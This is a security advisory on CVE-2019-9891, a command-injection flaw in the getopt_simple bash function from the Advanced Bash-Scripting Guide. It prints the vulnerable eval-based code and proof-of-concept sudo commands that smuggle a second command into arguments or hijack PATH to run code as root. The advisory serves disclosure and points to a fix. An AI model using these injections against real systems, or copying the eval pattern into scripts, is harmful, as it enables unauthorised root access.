Advisory: Code Execution via Insecure Shell Function getopt_simple RedTeam Pentesting discovered that the shell function "getopt_simple", as presented in the "Advanced Bash-Scripting Guide", allows execution of attacker-controlled commands. Details ======= Product: Advanced Bash-Scripting Guide Affected Versions: all Fixed Versions: - Vulnerability Type: Code Execution Security Risk: medium Vendor URL: https://www.tldp.org/LDP/abs/html/ Vendor Status: notified Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2019-007 Advisory Status: private CVE: CVE-2019-9891 CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9891 Introduction ============ The document "Advanced Bash-Scripting Guide" [1] is a tutorial for writing shell scripts for Bash. It contains many example scripts together with in-depth explanations about how shell scripting works. More Details ============ During a penetration test, RedTeam Pentesting was able to execute commands as an unprivileged user (www-data) on a server. Among others, it was discovered that this user was permitted to run the shell script "cleanup.sh" as root via "sudo": ------------------------------------------------------------------------ $ sudo -l Matching Defaults entries for user on srv: env_reset, secure_path=/usr/sbin\:/usr/bin\:/sbin\:/bin User www-data may run the following commands on srv: (root) NOPASSWD: /usr/local/sbin/cleanup.sh ------------------------------------------------------------------------ The script "cleanup.sh" starts with the following code: ------------------------------------------------------------------------ #!/bin/bash getopt_simple() { until [ -z "$1" ] do if [ ${1:0:2} = '--' ] then tmp=${1:2} # Strip off leading '--' . . . parameter=${tmp%%=*} # Extract name. value=${tmp##*=} # Extract value. eval $parameter=$value fi shift done } target=/tmp # Pass all options to getopt_simple(). getopt_simple $* # list files to clean echo "listing files in $target" find "$target" -mtime 1 ------------------------------------------------------------------------ The function "getopt_simple" is used to set variables based on command-line flags which are passed to the script. Calling the script with the argument "--target=/tmp" sets the variable "$target" to the value "/tmp". The variable's value is then used in a call to "find". The source code of the "getopt_simple" function has been taken from the "Advanced Bash-Scripting Guide" [2]. It was also published as a book. RedTeam Pentesting identified two different ways to exploit this function in order to run attacker-controlled commands as root. First, a flag can be specified in which either the name or the value contain a shell command. The call to "eval" will simply execute this command. ------------------------------------------------------------------------ $ sudo /usr/local/sbin/cleanup.sh '--redteam=foo;id' uid=0(root) gid=0(root) groups=0(root) listing files in /tmp $ sudo /usr/local/sbin/cleanup.sh '--target=$(id)' listing files in uid=0(root) gid=0(root) groups=0(root) find: 'uid=0(root) gid=0(root) groups=0(root)': No such file or directory $ sudo /usr/local/sbin/cleanup.sh '--target=$(ls${IFS}/)' listing files in bin boot dev etc [...] ------------------------------------------------------------------------ Instead of injecting shell commands, the script can also be exploited by overwriting the "$PATH" variable: ------------------------------------------------------------------------ $ mkdir /tmp/redteam $ cat <<EOF > /tmp/redteam/find #!/bin/sh echo "executed as root:" /usr/bin/id EOF $ chmod +x /tmp/redteam/find $ sudo /usr/local/sbin/cleanup.sh --PATH=/tmp/redteam listing files in /tmp executed as root: uid=0(root) gid=0(root) groups=0(root) ------------------------------------------------------------------------ Workaround ========== No workaround available. Fix === Replace the function "getopt_simple" with the built-in function "getopts" or the program "getopt" from the util-linux package. Examples on how to do so are included in the same tutorial [3][4]. Security Risk ============= If a script with attacker-controlled arguments uses the "getopt_simple" function, arbitrary commands may be invoked by the attackers. This is particularly interesting if a privilege boundary is crossed, for example in the context of "sudo". Overall, this vulnerability is rated as a medium risk. Timeline ======== 2019-02-18 Vulnerability identified 2019-03-20 Customer approved disclosure to vendor 2019-03-20 Author notified 2019-03-20 Author responded, document is not updated/maintained any more 2019-03-20 CVE ID requested 2019-03-21 CVE ID assigned 2019-03-26 Advisory released References ========== [1] https://www.tldp.org/LDP/abs/html/ [2] https://www.tldp.org/LDP/abs/html/string-manipulation.html#GETOPTSIMPLE [3] https://www.tldp.org/LDP/abs/html/internal.html#EX33 [4] https://www.tldp.org/LDP/abs/html/extmisc.html#EX33A RedTeam Pentesting GmbH ======================= RedTeam Pentesting offers individual penetration tests performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately. As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security-related areas. The results are made available as public security advisories. More information about RedTeam Pentesting can be found at: https://www.redteam-pentesting.de/ Working at RedTeam Pentesting ============================= RedTeam Pentesting is looking for penetration testers to join our team in Aachen, Germany. If you are interested please visit: https://www.redteam-pentesting.de/jobs/ -- RedTeam Pentesting GmbH Tel.: +49 241 510081-0 Dennewartstr. 25-27 Fax : +49 241 510081-99 52068 Aachen https://www.redteam-pentesting.de Germany Registergericht: Aachen HRB 14004 Geschäftsführer: Patrick Hof, Jens Liebchen
Attachment:
signature.asc
Description: PGP signature